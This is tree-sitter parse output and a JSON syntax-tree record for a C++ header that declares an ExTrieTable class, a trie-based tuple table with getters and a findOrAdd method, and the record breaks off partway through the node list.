(type_qualifier) "const" (const) "const" (compound_statement) "{ return maximumNumberTuples_; }" ({) "{" (return_statement) "return maximumNumberTuples_;" (return) "return" (identifier) "maximumNumberTuples_" (;) ";" (}) "}" (expression_statement) ";" (;) ";" (ERROR) "Int32 getMinimumNumberTuples() const" (type_identifier) "Int32" (function_declarator) "getMinimumNumberTuples()" (identifier) "getMinimumNumberTuples" (parameter_list) "()" (() "(" ()) ")" (type_qualifier) "const" (const) "const" (compound_statement) "{ return minimumNumberTuples_; }" ({) "{" (return_statement) "return minimumNumberTuples_;" (return) "return" (identifier) "minimumNumberTuples_" (;) ";" (}) "}" (expression_statement) ";" (;) ";" (function_definition) "char *getData() const { return data_; }" (primitive_type) "char" (pointer_declarator) "*getData() const" (*) "*" (function_declarator) "getData() const" (identifier) "getData" (parameter_list) "()" (() "(" ()) ")" (identifier) "const" (compound_statement) "{ return data_; }" ({) "{" (return_statement) "return data_;" (return) "return" (identifier) "data_" (;) ";" (}) "}" (expression_statement) ";" (;) ";" (function_definition) "char *getReturnRow() const { \n if(returnRow_ < numberTuples_)\n return rootTuple_ - returnRow_ * dataSize_; \n return 0;\n }" (primitive_type) "char" (pointer_declarator) "*getReturnRow() const" (*) "*" (function_declarator) "getReturnRow() const" (identifier) "getReturnRow" (parameter_list) "()" (() "(" ()) ")" (identifier) "const" (compound_statement) "{ \n if(returnRow_ < numberTuples_)\n return rootTuple_ - returnRow_ * dataSize_; \n return 0;\n }" ({) "{" (if_statement) "if(returnRow_ < numberTuples_)\n return rootTuple_ - returnRow_ * dataSize_;" (if) "if" (parenthesized_expression) "(returnRow_ < numberTuples_)" (() "(" (binary_expression) "returnRow_ < numberTuples_" (identifier) "returnRow_" (<) "<" (identifier) "numberTuples_" ()) ")" (return_statement) "return rootTuple_ - returnRow_ * dataSize_;" (return) "return" (binary_expression) "rootTuple_ - returnRow_ * dataSize_" (identifier) "rootTuple_" (-) "-" (binary_expression) "returnRow_ * dataSize_" (identifier) "returnRow_" (*) "*" (identifier) "dataSize_" (;) ";" (return_statement) "return 0;" (return) "return" (number_literal) "0" (;) ";" (}) "}" (expression_statement) ";" (;) ";" (function_definition) "void advanceReturnRow() { returnRow_++; }" (primitive_type) "void" (function_declarator) "advanceReturnRow()" (identifier) "advanceReturnRow" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{ returnRow_++; }" ({) "{" (expression_statement) "returnRow_++;" (update_expression) "returnRow_++" (identifier) "returnRow_" (++) "++" (;) ";" (}) "}" (expression_statement) ";" (;) ";" (function_definition) "void resetReturnRow() { returnRow_ = 0; }" (primitive_type) "void" (function_declarator) "resetReturnRow()" (identifier) "resetReturnRow" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{ returnRow_ = 0; }" ({) "{" (expression_statement) "returnRow_ = 0;" (assignment_expression) "returnRow_ = 0" (identifier) "returnRow_" (=) "=" (number_literal) "0" (;) ";" (}) "}" (expression_statement) ";" (;) ";" (declaration) "Int32 findOrAdd(char *key);" (type_identifier) "Int32" (function_declarator) "findOrAdd(char *key)" (identifier) "findOrAdd" (parameter_list) "(char *key)" (() "(" (parameter_declaration) "char *key" (primitive_type) "char" (pointer_declarator) "*key" (*) "*" (identifier) "key" ()) ")" (;) ";" (labeled_statement) "private:\n Int32 keySize_;" (statement_identifier) "private" (:) ":" (declaration) "Int32 keySize_;" (type_identifier) "Int32" (identifier) "keySize_" (;) ";" (declaration) "Int32 dataSize_;" (type_identifier) "Int32" (identifier) "dataSize_" (;) ";" (declaration) "Int32 memSize_;" (type_identifier) "Int32" (identifier) "memSize_" (;) ";" (declaration) "NAMemory *heap_;" (type_identifier) "NAMemory" (pointer_declarator) "*heap_" (*) "*" (identifier) "heap_" (;) ";" (declaration) "char *memory_;" (primitive_type) "char" (pointer_declarator) "*memory_" (*) "*" (identifier) "memory_" (;) ";" (declaration) "Int32 maximumNumberTuples_;" (type_identifier) "Int32" (identifier) "maximumNumberTuples_" (;) ";" (declaration) "Int32 minimumNumberTuples_;" (type_identifier) "Int32" (identifier) "minimumNumberTuples_" (;) ";" (declaration) "ExTrie rootTrie_;" (type_identifier) "ExTrie" (identifier) "rootTrie_" (;) ";" (declaration) "ExTrie nextTrie_;" (type_identifier) "ExTrie" (identifier) "nextTrie_" (;) ";" (declaration) "char *data_;" (primitive_type) "char" (pointer_declarator) "*data_" (*) "*" (identifier) "data_" (;) ";" (declaration) "char *rootTuple_;" (primitive_type) "char" (pointer_declarator) "*rootTuple_" (*) "*" (identifier) "rootTuple_" (;) ";" (declaration) "Int32 numberTuples_;" (type_identifier) "Int32" (identifier) "numberTuples_" (;) ";" (declaration) "Int32 returnRow_;" (type_identifier) "Int32" (identifier) "returnRow_" (;) ";" (}) "}" (expression_statement) ";" (;) ";" (#endif) "#endif"
285
7
{"language": "c", "success": true, "metadata": {"lines": 77, "avg_line_length": 28.43, "nodes": 168, "errors": 0, "source_hash": "b0fd10d7a7100973d7c40c768e9437925f6961187131cef77c0a2abaa29e1bb6", "categorized_nodes": 113}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef __ExTrieTable_h__\n#define __ExTrieTable_h__\n\n// Includes\n//\n#include \"ex_god.h\"\n\n// External forward declarations\n//\nclass NAMemory;\n\ntypedef char **ExTrie;\n\nclass ExTrieTable : public ExGod {\npublic:\n ExTrieTable(Int32 keySize, Int32 dataSize, Int32 memSize, NAMemory *heap);\n ~ExTrieTable();\n\n Int32 getMaximumNumberTuples() const { return maximumNumberTuples_; };\n Int32 getMinimumNumberTuples() const { return minimumNumberTuples_; };\n char *getData() const { return data_; };\n\n char *getReturnRow() const { \n if(returnRow_ < numberTuples_)\n return rootTuple_ - returnRow_ * dataSize_; \n return 0;\n };\n void advanceReturnRow() { returnRow_++; };\n void resetReturnRow() { returnRow_ = 0; };\n \n\n Int32 findOrAdd(char *key);\n\nprivate:\n Int32 keySize_;\n Int32 dataSize_;\n Int32 memSize_;\n NAMemory *heap_;\n\n char *memory_;\n Int32 maximumNumberTuples_;\n Int32 minimumNumberTuples_;\n\n ExTrie rootTrie_;\n ExTrie nextTrie_;\n char *data_;\n\n char *rootTuple_;\n Int32 numberTuples_;\n Int32 returnRow_;\n};\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 11, 19, 167], "start_point": {"row": 36, "column": 0}, "end_point": {"row": 88, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 36, "column": 0}, "end_point": {"row": 36, "column": 7}}, {"id": 2, "type": "identifier", "text": "__ExTrieTable_h__", "parent": 0, "children": [], "start_point": {"row": 36, "column": 8}, "end_point": {"row": 36, "column": 25}}, {"id": 3, "type": "preproc_def", "text": "#define __ExTrieTable_h__\n", "parent": 0, "children": [4, 5], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 38, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 37, "column": 7}}, {"id": 5, "type": "identifier", "text": "__ExTrieTable_h__", "parent": 3, "children": [], "start_point": {"row": 37, "column": 8}, "end_point": {"row": 37, "column": 25}}, {"id": 6, "type": "preproc_include", "text": "#include \"ex_god.h\"\n", "parent": 0, "children": [7, 8], "start_point": {"row": 41, "column": 0}, "end_point": {"row": 42, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 41, "column": 0}, "end_point": {"row": 41, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"ex_god.h\"", "parent": 6, "children": [], "start_point": {"row": 41, "column": 9}, "end_point": {"row": 41, "column": 19}}, {"id": 9, "type": "declaration", "text": "class NAMemory;", "parent": 0, "children": [10], "start_point": {"row": 45, "column": 0}, "end_point": {"row": 45, "column": 15}}, {"id": 10, "type": "identifier", "text": "NAMemory", "parent": 9, "children": [], "start_point": {"row": 45, "column": 6}, "end_point": {"row": 45, "column": 14}}, {"id": 11, "type": "type_definition", "text": "typedef char **ExTrie;", "parent": 0, "children": [12, 13, 14], "start_point": {"row": 47, "column": 0}, "end_point": {"row": 47, "column": 22}}, {"id": 12, "type": "typedef", "text": "typedef", "parent": 11, "children": [], "start_point": {"row": 47, "column": 0}, "end_point": {"row": 47, "column": 7}}, {"id": 13, "type": "primitive_type", "text": "char", "parent": 11, "children": [], "start_point": {"row": 47, "column": 8}, "end_point": {"row": 47, "column": 12}}, {"id": 14, "type": "pointer_declarator", "text": "**ExTrie", "parent": 11, "children": [15, 16], "start_point": {"row": 47, "column": 13}, "end_point": {"row": 47, "column": 21}}, {"id": 15, "type": "*", "text": "*", "parent": 14, "children": [], "start_point": {"row": 47, "column": 13}, "end_point": {"row": 47, "column": 14}}, {"id": 16, "type": "pointer_declarator", "text": "*ExTrie", "parent": 14, "children": [17, 18], "start_point": {"row": 47, "column": 14}, "end_point": {"row": 47, "column": 21}}, {"id": 17, "type": "*", "text": "*", "parent": 16, "children": [], "start_point": {"row": 47, "column": 14}, "end_point": {"row": 47, "column": 15}}, {"id": 18, "type": "type_identifier", "text": "ExTrie", "parent": 16, "children": [], "start_point": {"row": 47, "column": 15}, "end_point": {"row": 47, "column": 21}}, {"id": 19, "type": "function_definition", "text": "class ExTrieTable : public ExGod {\npublic:\n ExTrieTable(Int32 keySize, Int32 dataSize, Int32 memSize, NAMemory *heap);\n ~ExTrieTable();\n\n Int32 getMaximumNumberTuples() const { return maximumNumberTuples_; };\n Int32 getMinimumNumberTuples() const { return minimumNumberTuples_; };\n char *getData() const { return data_; };\n\n char *getReturnRow() const { \n if(returnRow_ < numberTuples_)\n return rootTuple_ - returnRow_ * dataSize_; \n return 0;\n };\n void advanceReturnRow() { returnRow_++; };\n void resetReturnRow() { returnRow_ = 0; };\n \n\n Int32 findOrAdd(char *key);\n\nprivate:\n Int32 keySize_;\n Int32 dataSize_;\n Int32 memSize_;\n NAMemory *heap_;\n\n char *memory_;\n Int32 maximumNumberTuples_;\n Int32 minimumNumberTuples_;\n\n ExTrie rootTrie_;\n ExTrie nextTrie_;\n char *data_;\n\n char *rootTuple_;\n Int32 numberTuples_;\n Int32 returnRow_;\n}", "parent": 0, "children": [20, 21], "start_point": {"row": 49, "column": 0}, "end_point": {"row": 86, "column": 1}}, {"id": 20, "type": "identifier", "text": "ExTrieTable", "parent": 19, "children": [], "start_point": {"row": 49, "column": 6}, "end_point": {"row": 49, "column": 17}}, {"id": 21, "type": "ERROR", "text": ": public ExGod", "parent": 19, "children": [22], "start_point": {"row": 49, "column": 18}, "end_point": {"row": 49, "column": 32}}, {"id": 22, "type": "identifier", "text": "ExGod", "parent": 21, "children": [], "start_point": {"row": 49, "column": 27}, "end_point": {"row": 49, "column": 32}}, {"id": 23, "type": "labeled_statement", "text": "public:\n ExTrieTable(Int32 keySize, Int32 dataSize, Int32 memSize, NAMemory *heap);", "parent": 19, "children": [24], "start_point": {"row": 50, "column": 0}, "end_point": {"row": 51, "column": 76}}, {"id": 24, "type": "declaration", "text": "ExTrieTable(Int32 keySize, Int32 dataSize, Int32 memSize, NAMemory *heap);", "parent": 23, "children": [25, 29, 30, 32, 33, 35, 36, 38], "start_point": {"row": 51, "column": 2}, "end_point": {"row": 51, "column": 76}}, {"id": 25, "type": "macro_type_specifier", "text": "ExTrieTable(Int32", "parent": 24, "children": [26, 27], "start_point": {"row": 51, "column": 2}, "end_point": {"row": 51, "column": 19}}, {"id": 26, "type": "identifier", "text": "ExTrieTable", "parent": 25, "children": [], "start_point": {"row": 51, "column": 2}, "end_point": {"row": 51, "column": 13}}, {"id": 27, "type": "type_descriptor", "text": "Int32", "parent": 25, "children": [28], "start_point": {"row": 51, "column": 14}, "end_point": {"row": 51, "column": 19}}, {"id": 28, "type": "type_identifier", "text": "Int32", "parent": 27, "children": [], "start_point": {"row": 51, "column": 14}, "end_point": {"row": 51, "column": 19}}, {"id": 29, "type": "identifier", "text": "keySize", "parent": 24, "children": [], "start_point": {"row": 51, "column": 20}, "end_point": {"row": 51, "column": 27}}, {"id": 30, "type": "ERROR", "text": "Int32", "parent": 24, "children": [31], "start_point": {"row": 51, "column": 29}, "end_point": {"row": 51, "column": 34}}, {"id": 31, "type": "identifier", "text": "Int32", "parent": 30, "children": [], "start_point": {"row": 51, "column": 29}, "end_point": {"row": 51, "column": 34}}, {"id": 32, "type": "identifier", "text": "dataSize", "parent": 24, "children": [], "start_point": {"row": 51, "column": 35}, "end_point": {"row": 51, "column": 43}}, {"id": 33, "type": "ERROR", "text": "Int32", "parent": 24, "children": [34], "start_point": {"row": 51, "column": 45}, "end_point": {"row": 51, "column": 50}}, {"id": 34, "type": "identifier", "text": "Int32", "parent": 33, "children": [], "start_point": {"row": 51, "column": 45}, "end_point": {"row": 51, "column": 50}}, {"id": 35, "type": "identifier", "text": "memSize", "parent": 24, "children": [], "start_point": {"row": 51, "column": 51}, "end_point": {"row": 51, "column": 58}}, {"id": 36, "type": "ERROR", "text": "NAMemory", "parent": 24, "children": [37], "start_point": {"row": 51, "column": 60}, "end_point": {"row": 51, "column": 68}}, {"id": 37, "type": "identifier", "text": "NAMemory", "parent": 36, "children": [], "start_point": {"row": 51, "column": 60}, "end_point": {"row": 51, "column": 68}}, {"id": 38, "type": "pointer_declarator", "text": "*heap", "parent": 24, "children": [39, 40], "start_point": {"row": 51, "column": 69}, "end_point": {"row": 51, "column": 74}}, {"id": 39, "type": "*", "text": "*", "parent": 38, "children": [], "start_point": {"row": 51, "column": 69}, "end_point": {"row": 51, "column": 70}}, {"id": 40, "type": "identifier", "text": "heap", "parent": 38, "children": [], "start_point": {"row": 51, "column": 70}, "end_point": {"row": 51, "column": 74}}, {"id": 41, "type": "unary_expression", "text": "~ExTrieTable()", "parent": 19, "children": [42, 43], "start_point": {"row": 52, "column": 2}, "end_point": {"row": 52, "column": 16}}, {"id": 42, "type": "~", "text": "~", "parent": 41, "children": [], "start_point": {"row": 52, "column": 2}, "end_point": {"row": 52, "column": 3}}, {"id": 43, "type": "call_expression", "text": "ExTrieTable()", "parent": 41, "children": [44, 45], "start_point": {"row": 52, "column": 3}, "end_point": {"row": 52, "column": 16}}, {"id": 44, "type": "identifier", "text": "ExTrieTable", "parent": 43, "children": [], "start_point": {"row": 52, "column": 3}, "end_point": {"row": 52, "column": 14}}, {"id": 45, "type": "argument_list", "text": "()", "parent": 43, "children": [], "start_point": {"row": 52, "column": 14}, "end_point": {"row": 52, "column": 16}}, {"id": 46, "type": "ERROR", "text": "Int32 getMaximumNumberTuples() const", "parent": 19, "children": [47, 48], "start_point": {"row": 54, "column": 2}, "end_point": {"row": 54, "column": 38}}, {"id": 47, "type": "type_identifier", "text": "Int32", "parent": 46, "children": [], "start_point": {"row": 54, "column": 2}, "end_point": {"row": 54, "column": 7}}, {"id": 48, "type": "function_declarator", "text": "getMaximumNumberTuples()", "parent": 46, "children": [49, 50], "start_point": {"row": 54, "column": 8}, "end_point": {"row": 54, "column": 32}}, {"id": 49, "type": "identifier", "text": "getMaximumNumberTuples", "parent": 48, "children": [], "start_point": {"row": 54, "column": 8}, "end_point": {"row": 54, "column": 30}}, {"id": 50, "type": "parameter_list", "text": "()", "parent": 48, "children": [], "start_point": {"row": 54, "column": 30}, "end_point": {"row": 54, "column": 32}}, {"id": 51, "type": "return_statement", "text": "return maximumNumberTuples_;", "parent": 19, "children": [52], "start_point": {"row": 54, "column": 41}, "end_point": {"row": 54, "column": 69}}, {"id": 52, "type": "identifier", "text": "maximumNumberTuples_", "parent": 51, "children": [], "start_point": {"row": 54, "column": 48}, "end_point": {"row": 54, "column": 68}}, {"id": 53, "type": "ERROR", "text": "Int32 getMinimumNumberTuples() const", "parent": 19, "children": [54, 55], "start_point": {"row": 55, "column": 2}, "end_point": {"row": 55, "column": 38}}, {"id": 54, "type": "type_identifier", "text": "Int32", "parent": 53, "children": [], "start_point": {"row": 55, "column": 2}, "end_point": {"row": 55, "column": 7}}, {"id": 55, "type": "function_declarator", "text": "getMinimumNumberTuples()", "parent": 53, "children": [56, 57], "start_point": {"row": 55, "column": 8}, "end_point": {"row": 55, "column": 32}}, {"id": 56, "type": "identifier", "text": "getMinimumNumberTuples", "parent": 55, "children": [], "start_point": {"row": 55, "column": 8}, "end_point": {"row": 55, "column": 30}}, {"id": 57, "type": "parameter_list", "text": "()", "parent": 55, "children": [], "start_point": {"row": 55, "column": 30}, "end_point": {"row": 55, "column": 32}}, {"id": 58, "type": "return_statement", "text": "return minimumNumberTuples_;", "parent": 19, "children": [59], "start_point": {"row": 55, "column": 41}, "end_point": {"row": 55, "column": 69}}, {"id": 59, "type": "identifier", "text": "minimumNumberTuples_", "parent": 58, "children": [], "start_point": {"row": 55, "column": 48}, "end_point": {"row": 55, "column": 68}}, {"id": 60, "type": "function_definition", "text": "char *getData() const { return data_; }", "parent": 19, "children": [61, 62], "start_point": {"row": 56, "column": 2}, "end_point": {"row": 56, "column": 41}}, {"id": 61, "type": "primitive_type", "text": "char", "parent": 60, "children": [], "start_point": {"row": 56, "column": 2}, "end_point": {"row": 56, "column": 6}}, {"id": 62, "type": "pointer_declarator", "text": "*getData() const", "parent": 60, "children": [63, 64], "start_point": {"row": 56, "column": 7}, "end_point": {"row": 56, "column": 23}}, {"id": 63, "type": "*", "text": "*", "parent": 62, "children": [], "start_point": {"row": 56, "column": 7}, "end_point": {"row": 56, "column": 8}}, {"id": 64, "type": "function_declarator", "text": "getData() const", "parent": 62, "children": [65, 66], "start_point": {"row": 56, "column": 8}, "end_point": {"row": 56, "column": 23}}, {"id": 65, "type": "identifier", "text": "getData", "parent": 64, "children": [], "start_point": {"row": 56, "column": 8}, "end_point": {"row": 56, "column": 15}}, {"id": 66, "type": "parameter_list", "text": "()", "parent": 64, "children": [], "start_point": {"row": 56, "column": 15}, "end_point": {"row": 56, "column": 17}}, {"id": 67, "type": "return_statement", "text": "return data_;", "parent": 60, "children": [68], "start_point": {"row": 56, "column": 26}, "end_point": {"row": 56, "column": 39}}, {"id": 68, "type": "identifier", "text": "data_", "parent": 67, "children": [], "start_point": {"row": 56, "column": 33}, "end_point": {"row": 56, "column": 38}}, {"id": 69, "type": "function_definition", "text": "char *getReturnRow() const { \n if(returnRow_ < numberTuples_)\n return rootTuple_ - returnRow_ * dataSize_; \n return 0;\n }", "parent": 19, "children": [70, 71], "start_point": {"row": 58, "column": 2}, "end_point": {"row": 62, "column": 3}}, {"id": 70, "type": "primitive_type", "text": "char", "parent": 69, "children": [], "start_point": {"row": 58, "column": 2}, "end_point": {"row": 58, "column": 6}}, {"id": 71, "type": "pointer_declarator", "text": "*getReturnRow() const", "parent": 69, "children": [72, 73], "start_point": {"row": 58, "column": 7}, "end_point": {"row": 58, "column": 28}}, {"id": 72, "type": "*", "text": "*", "parent": 71, "children": [], "start_point": {"row": 58, "column": 7}, "end_point": {"row": 58, "column": 8}}, {"id": 73, "type": "function_declarator", "text": "getReturnRow() const", "parent": 71, "children": [74, 75], "start_point": {"row": 58, "column": 8}, "end_point": {"row": 58, "column": 28}}, {"id": 74, "type": "identifier", "text": "getReturnRow", "parent": 73, "children": [], "start_point": {"row": 58, "column": 8}, "end_point": {"row": 58, "column": 20}}, {"id": 75, "type": "parameter_list", "text": "()", "parent": 73, "children": [], "start_point": {"row": 58, "column": 20}, "end_point": {"row": 58, "column": 22}}, {"id": 76, "type": "if_statement", "text": "if(returnRow_ < numberTuples_)\n return rootTuple_ - returnRow_ * dataSize_;", "parent": 69, "children": [77, 82], "start_point": {"row": 59, "column": 4}, "end_point": {"row": 60, "column": 49}}, {"id": 77, "type": "parenthesized_expression", "text": "(returnRow_ < numberTuples_)", "parent": 76, "children": [78], "start_point": {"row": 59, "column": 6}, "end_point": {"row": 59, "column": 34}}, {"id": 78, "type": "binary_expression", "text": "returnRow_ < numberTuples_", "parent": 77, "children": [79, 80, 81], "start_point": {"row": 59, "column": 7}, "end_point": {"row": 59, "column": 33}}, {"id": 79, "type": "identifier", "text": "returnRow_", "parent": 78, "children": [], "start_point": {"row": 59, "column": 7}, "end_point": {"row": 59, "column": 17}}, {"id": 80, "type": "<", "text": "<", "parent": 78, "children": [], "start_point": {"row": 59, "column": 18}, "end_point": {"row": 59, "column": 19}}, {"id": 81, "type": "identifier", "text": "numberTuples_", "parent": 78, "children": [], "start_point": {"row": 59, "column": 20}, "end_point": {"row": 59, "column": 33}}, {"id": 82, "type": "return_statement", "text": "return rootTuple_ - returnRow_ * dataSize_;", "parent": 76, "children": [83], "start_point": {"row": 60, "column": 6}, "end_point": {"row": 60, "column": 49}}, {"id": 83, "type": "binary_expression", "text": "rootTuple_ - returnRow_ * dataSize_", "parent": 82, "children": [84, 85, 86], "start_point": {"row": 60, "column": 13}, "end_point": {"row": 60, "column": 48}}, {"id": 84, "type": "identifier", "text": "rootTuple_", "parent": 83, "children": [], "start_point": {"row": 60, "column": 13}, "end_point": {"row": 60, "column": 23}}, {"id": 85, "type": "-", "text": "-", "parent": 83, "children": [], "start_point": {"row": 60, "column": 24}, "end_point": {"row": 60, "column": 25}}, {"id": 86, "type": "binary_expression", "text": "returnRow_ * dataSize_", "parent": 83, "children": [87, 88, 89], "start_point": {"row": 60, "column": 26}, "end_point": {"row": 60, "column": 48}}, {"id": 87, "type": "identifier", "text": "returnRow_", "parent": 86, "children": [], "start_point": {"row": 60, "column": 26}, "end_point": {"row": 60, "column": 36}}, {"id": 88, "type": "*", "text": "*", "parent": 86, "children": [], "start_point": {"row": 60, "column": 37}, "end_point": {"row": 60, "column": 38}}, {"id": 89, "type": "identifier", "text": "dataSize_", "parent": 86, "children": [], "start_point": {"row": 60, "column": 39}, "end_point": {"row": 60, "column": 48}}, {"id": 90, "type": "return_statement", "text": "return 0;", "parent": 69, "children": [91], "start_point": {"row": 61, "column": 4}, "end_point": {"row": 61, "column": 13}}, {"id": 91, "type": "number_literal", "text": "0", "parent": 90, "children": [], "start_point": {"row": 61, "column": 11}, "end_point": {"row": 61, "column": 12}}, {"id": 92, "type": "function_definition", "text": "void advanceReturnRow() { returnRow_++; }", "parent": 19, "children": [93, 94], "start_point": {"row": 63, "column": 2}, "end_point": {"row": 63, "column": 43}}, {"id": 93, "type": "primitive_type", "text": "void", "parent": 92, "children": [], "start_point": {"row": 63, "column": 2}, "end_point": {"row": 63, "column": 6}}, {"id": 94, "type": "function_declarator", "text": "advanceReturnRow()", "parent": 92, "children": [95, 96], "start_point": {"row": 63, "column": 7}, "end_point": {"row": 63, "column": 25}}, {"id": 95, "type": "identifier", "text": "advanceReturnRow", "parent": 94, "children": [], "start_point": {"row": 63, "column": 7}, "end_point": {"row": 63, "column": 23}}, {"id": 96, "type": "parameter_list", "text": "()", "parent": 94, "children": [], "start_point": {"row": 63, "column": 23}, "end_point": {"row": 63, "column": 25}}, {"id": 97, "type": "update_expression", "text": "returnRow_++", "parent": 92, "children": [98, 99], "start_point": {"row": 63, "column": 28}, "end_point": {"row": 63, "column": 40}}, {"id": 98, "type": "identifier", "text": "returnRow_", "parent": 97, "children": [], "start_point": {"row": 63, "column": 28}, "end_point": {"row": 63, "column": 38}}, {"id": 99, "type": "++", "text": "++", "parent": 97, "children": [], "start_point": {"row": 63, "column": 38}, "end_point": {"row": 63, "column": 40}}, {"id": 100, "type": "function_definition", "text": "void resetReturnRow() { returnRow_ = 0; }", "parent": 19, "children": [101, 102], "start_point": {"row": 64, "column": 2}, "end_point": {"row": 64, "column": 43}}, {"id": 101, "type": "primitive_type", "text": "void", "parent": 100, "children": [], "start_point": {"row": 64, "column": 2}, "end_point": {"row": 64, "column": 6}}, {"id": 102, "type": "function_declarator", "text": "resetReturnRow()", "parent": 100, "children": [103, 104], "start_point": {"row": 64, "column": 7}, "end_point": {"row": 64, "column": 23}}, {"id": 103, "type": "identifier", "text": "resetReturnRow", "parent": 102, "children": [], "start_point": {"row": 64, "column": 7}, "end_point": {"row": 64, "column": 21}}, {"id": 104, "type": "parameter_list", "text": "()", "parent": 102, "children": [], "start_point": {"row": 64, "column": 21}, "end_point": {"row": 64, "column": 23}}, {"id": 105, "type": "assignment_expression", "text": "returnRow_ = 0", "parent": 100, "children": [106, 107, 108], "start_point": {"row": 64, "column": 26}, "end_point": {"row": 64, "column": 40}}, {"id": 106, "type": "identifier", "text": "returnRow_", "parent": 105, "children": [], "start_point": {"row": 64, "column": 26}, "end_point": {"row": 64, "column": 36}}, {"id": 107, "type": "=", "text": "=", "parent": 105, "children": [], "start_point": {"row": 64, "column": 37}, "end_point": {"row": 64, "column": 38}}, {"id": 108, "type": "number_literal", "text": "0", "parent": 105, "children": [], "start_point": {"row": 64, "column": 39}, "end_point": {"row": 64, "column": 40}}, {"id": 109, "type": "declaration", "text": "Int32 findOrAdd(char *key);", "parent": 19, "children": [110, 111], "start_point": {"row": 67, "column": 2}, "end_point": {"row": 67, "column": 29}}, {"id": 110, "type": "type_identifier", "text": "Int32", "parent": 109, "children": [], "start_point": {"row": 67, "column": 2}, "end_point": {"row": 67, "column": 7}}, {"id": 111, "type": "function_declarator", "text": "findOrAdd(char *key)", "parent": 109, "children": [112, 113], "start_point": {"row": 67, "column": 8}, "end_point": {"row": 67, "column": 28}}, {"id": 112, "type": "identifier", "text": "findOrAdd", "parent": 111, "children": [], "start_point": {"row": 67, "column": 8}, "end_point": {"row": 67, "column": 17}}, {"id": 113, "type": "parameter_list", "text": "(char *key)", "parent": 111, "children": [114], "start_point": {"row": 67, "column": 17}, "end_point": {"row": 67, "column": 28}}, {"id": 114, "type": "parameter_declaration", "text": "char *key", "parent": 113, "children": [115, 116], "start_point": {"row": 67, "column": 18}, "end_point": {"row": 67, "column": 27}}, {"id": 115, "type": "primitive_type", "text": "char", "parent": 114, "children": [], "start_point": {"row": 67, "column": 18}, "end_point": {"row": 67, "column": 22}}, {"id": 116, "type": "pointer_declarator", "text": "*key", "parent": 114, "children": [117, 118], "start_point": {"row": 67, "column": 23}, "end_point": {"row": 67, "column": 27}}, {"id": 117, "type": "*", "text": "*", "parent": 116, "children": [], "start_point": {"row": 67, "column": 23}, "end_point": {"row": 67, "column": 24}}, {"id": 118, "type": "identifier", "text": "key", "parent": 116, "children": [], "start_point": {"row": 67, "column": 24}, "end_point": {"row": 67, "column": 27}}, {"id": 119, "type": "labeled_statement", "text": "private:\n Int32 keySize_;", "parent": 19, "children": [120], "start_point": {"row": 69, "column": 0}, "end_point": {"row": 70, "column": 17}}, {"id": 120, "type": "declaration", "text": "Int32 keySize_;", "parent": 119, "children": [121, 122], "start_point": {"row": 70, "column": 2}, "end_point": {"row": 70, "column": 17}}, {"id": 121, "type": "type_identifier", "text": "Int32", "parent": 120, "children": [], "start_point": {"row": 70, "column": 2}, "end_point": {"row": 70, "column": 7}}, {"id": 122, "type": "identifier", "text": "keySize_", "parent": 120, "children": [], "start_point": {"row": 70, "column": 8}, "end_point": {"row": 70, "column": 16}}, {"id": 123, "type": "declaration", "text": "Int32 dataSize_;", "parent": 19, "children": [124, 125], "start_point": {"row": 71, "column": 2}, "end_point": {"row": 71, "column": 18}}, {"id": 124, "type": "type_identifier", "text": "Int32", "parent": 123, "children": [], "start_point": {"row": 71, "column": 2}, "end_point": {"row": 71, "column": 7}}, {"id": 125, "type": "identifier", "text": "dataSize_", "parent": 123, "children": [], "start_point": {"row": 71, "column": 8}, "end_point": {"row": 71, "column": 17}}, {"id": 126, "type": "declaration", "text": "Int32 memSize_;", "parent": 19, "children": [127, 128], "start_point": {"row": 72, "column": 2}, "end_point": {"row": 72, "column": 17}}, {"id": 127, "type": "type_identifier", "text": "Int32", "parent": 126, "children": [], "start_point": {"row": 72, "column": 2}, "end_point": {"row": 72, "column": 7}}, {"id": 128, "type": "identifier", "text": "memSize_", "parent": 126, "children": [], "start_point": {"row": 72, "column": 8}, "end_point": {"row": 72, "column": 16}}, {"id": 129, "type": "declaration", "text": "NAMemory *heap_;", "parent": 19, "children": [130, 131], "start_point": {"row": 73, "column": 2}, "end_point": {"row": 73, "column": 18}}, {"id": 130, "type": "type_identifier", "text": "NAMemory", "parent": 129, "children": [], "start_point": {"row": 73, "column": 2}, "end_point": {"row": 73, "column": 10}}, {"id": 131, "type": "pointer_declarator", "text": "*heap_", "parent": 129, "children": [132, 133], "start_point": {"row": 73, "column": 11}, "end_point": {"row": 73, "column": 17}}, {"id": 132, "type": "*", "text": "*", "parent": 131, "children": [], "start_point": {"row": 73, "column": 11}, "end_point": {"row": 73, "column": 12}}, {"id": 133, "type": "identifier", "text": "heap_", "parent": 131, "children": [], "start_point": {"row": 73, "column": 12}, "end_point": {"row": 73, "column": 17}}, {"id": 134, "type": "declaration", "text": "char *memory_;", "parent": 19, "children": [135, 136], "start_point": {"row": 75, "column": 2}, "end_point": {"row": 75, "column": 16}}, {"id": 135, "type": "primitive_type", "text": "char", "parent": 134, "children": [], "start_point": {"row": 75, "column": 2}, "end_point": {"row": 75, "column": 6}}, {"id": 136, "type": "pointer_declarator", "text": "*memory_", "parent": 134, "children": [137, 138], "start_point": {"row": 75, "column": 7}, "end_point": {"row": 75, "column": 15}}, {"id": 137, "type": "*", "text": "*", "parent": 136, "children": [], "start_point": {"row": 75, "column": 7}, "end_point": {"row": 75, "column": 8}}, {"id": 138, "type": "identifier", "text": "memory_", "parent": 136, "children": [], "start_point": {"row": 75, "column": 8}, "end_point": {"row": 75, "column": 15}}, {"id": 139, "type": "declaration", "text": "Int32 maximumNumberTuples_;", "parent": 19, "children": [140, 141], "start_point": {"row": 76, "column": 2}, "end_point": {"row": 76, "column": 29}}, {"id": 140, "type": "type_identifier", "text": "Int32", "parent": 139, "children": [], "start_point": {"row": 76, "column": 2}, "end_point": {"row": 76, "column": 7}}, {"id": 141, "type": "identifier", "text": 